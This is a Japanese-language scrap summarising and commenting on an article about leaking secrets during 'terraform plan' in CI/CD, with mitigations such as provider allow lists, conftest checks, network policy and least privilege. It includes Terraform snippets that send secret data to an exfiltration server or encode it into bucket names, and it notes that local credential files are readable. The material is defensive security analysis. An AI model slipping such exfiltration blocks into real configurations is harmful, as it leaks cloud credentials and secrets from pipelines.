Open4

Bucket full of secrets – Terraform exfiltration

Shunsuke SuzukiShunsuke Suzuki

https://engineering.mercari.com/en/blog/entry/20230706-bucket-full-of-secrets-terraform-exfiltration/

が面白いので要点をまとめる

Terraform の CI/CD において機密情報を流出させる方法とその対策が、具体的な攻撃コードを交えて紹介されている。
結論を言うと完全な対策はない。

前提: Pull Request で terraform plan を実行する

Level 1 – Let me GET your data

http data source を使い、外部に secret を流出させる

data "http" "example" {
 count = local.chunks
 url   = "http://${var.exfil_server}/http/${data.google_secret_manager_secret_version.secret.secret_data}"
}

https://registry.terraform.io/providers/salrashid123/http-full/latest/docs/data-sources/http

対策: Terraform Provider を Allow List で管理し、 http provider のような危険な provider を禁止する

terraform init -plugin-dir=/opt/terraform-providers

ちなみに自分も provider を allow list で管理する OSS を開発しています。

https://zenn.dev/shunsuke_suzuki/articles/tfprovidercheck-introduction

Level 2 – Moving back to on-premise

GCP Provider や AWS Provider の custom endpoint option を悪用し、外部にリクエストを送る

https://registry.terraform.io/providers/wiardvanrij/ipv4google/latest/docs/guides/provider_reference#{{service}}_custom_endpoint

https://registry.terraform.io/providers/hashicorp/aws/latest/docs#endpoints

data "google_storage_bucket" "exfil" {
  provider = google.exfil
  count    = local.chunks
  name     = "${var.exfil_id}-${local.chunks}-${count.index}-${base64encode(substr(local.secret_data, count.index * 64, 64))}"
}

google_storage_bucket data source を使って GCS Bucket 名に機密情報を混ぜて外部に機密情報を送る。

まぁ他のリソースでもなんでも良い気はする。

対策1: conftest などを用いて terraform plan 実行前に validation をする
対策2: ネットワークポリシーで外部への流出を防ぐ

Level 3 – I should have been logging this all along

GCS bucket の object 名に機密情報を混ぜ、 bucket の audit log に機密情報を流出させる。

https://cloud.google.com/logging/docs/audit/configure-data-access?hl=ja

Level 2 の攻撃と違い、この方法だと validation やネットワークポリシーで防ぐのが難しい。

この攻撃に対する完全な対策はない。
terraform plan を実行する前に承認フローを導入するという手も考えられるが、かなり生産性を損ない、現実的ではない。
基本的な対策として Least Privilege を徹底し、機密情報を極力参照できないようにするというのがある。
ただしこれも絶対的な解決策ではない。


感想など

terraform plan レベルで機密情報を流出させる攻撃方法が具体的なコードとともに紹介されていて非常に興味深かった。
apply はともかく plan の危険性はあまり広く認知されていないと思うので、とても意義のある記事だと思う。

terraform に対する conftest は plan file に対して実行するのが恐らく一般的だと思う(opa のドキュメントでもそうしている)が、今回のような場合 plan を実行する前に conftest を実行する必要がある。

https://www.openpolicyagent.org/docs/latest/terraform/

ただその場合 Terraform の expression を評価した上で検証することが出来ないという大きな制約はあると思うので、両方 (HCL に対する policy と Plan file に対する Policy) 必要だと思う。
backend や provider の設定は Plan file に含まれないので Plan file では test 出来ないですしね。

以前から思っていることとしては、 Terraform はなんでも出来すぎるので、もう少し Terraform 本体でセキュリティに関する部分をケアしてくれないかなとは思っている。

Shunsuke SuzukiShunsuke Suzuki

対策

ファイルから機密情報を読み込んでいる場合、 file function を使って読み込めてしまう。
これを防ぐのは難しい。
例えば GCP でいうと $HOME/.config/gcloud/application_default_credentials.json を使って認証している場合、そのファイルを file function で読まれるリスクがある。

https://cloud.google.com/docs/authentication/application-default-credentials?hl=ja#personal

これは当然 GCP に限った話ではない。
なのでファイルではなく環境変数で認証情報を渡すほうがより安全なはずだが、 gcloud command などを使って認証している場合、ファイルに書き込まれる気がする。 keychain とかと連携して暗号化して保存できていたら安全だが、 CI の場合基本そこまでやられてないと思われる。

Terraform の組み込み関数で環境変数を読み込むようなものはないはず(あったら危なすぎる)。
Issue を確認したところ、やはりデザインでそのような関数は追加しないと言っている。

https://github.com/hashicorp/terraform/issues/15440

Shunsuke SuzukiShunsuke Suzuki

認証情報は環境変数経由で Provider に渡す

action を使って AWS や GCP に認証した場合、認証情報を file function などを使って参照できないか気になったので確認した。
結論をいうと基本できないのであまり心配する必要はなさそう。

configure-aws-credentials は環境変数として export している

https://github.com/aws-actions/configure-aws-credentials/blob/e0fc2428ccc7f7031a468e4a9d673be1a95fb8b9/src/helpers.ts#L10-L42

実際 action の実行結果を確認したところ以下の環境変数が設定されていた。

    AWS_DEFAULT_REGION: ap-northeast-1
    AWS_REGION: ap-northeast-1
    AWS_ACCESS_KEY_ID: ***
    AWS_SECRET_ACCESS_KEY: ***
    AWS_SESSION_TOKEN: ***

まぁ公開範囲を最小限にするという意味では環境変数ではなく action の output を使うのが望ましいけど、それは今回の話とは別の話。

Shunsuke SuzukiShunsuke Suzuki

google-github-actions/auth も環境変数が設定されているが、 GOOGLE_APPLICATION_CREDENTIALS が指しているファイルパスに認証情報が生成されている。
ファイル名に乱数が含まれているので、ファイルパスを特定して Terraform の file function で読み込むのは難しい気はする。

CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE: /home/runner/work/***/***/***.json
GOOGLE_APPLICATION_CREDENTIALS: /home/runner/work/***/***/***.json
GOOGLE_GHA_CREDS_PATH: /home/runner/work/***/***/***.json
CLOUDSDK_CORE_PROJECT: ***
CLOUDSDK_PROJECT: ***
GCLOUD_PROJECT: ***
GCP_PROJECT: ***
GOOGLE_CLOUD_PROJECT: ***

https://github.com/google-github-actions/auth/blob/33e827c6ccbcf6b09633571814b93c7377dbd961/src/utils.ts#L137-L151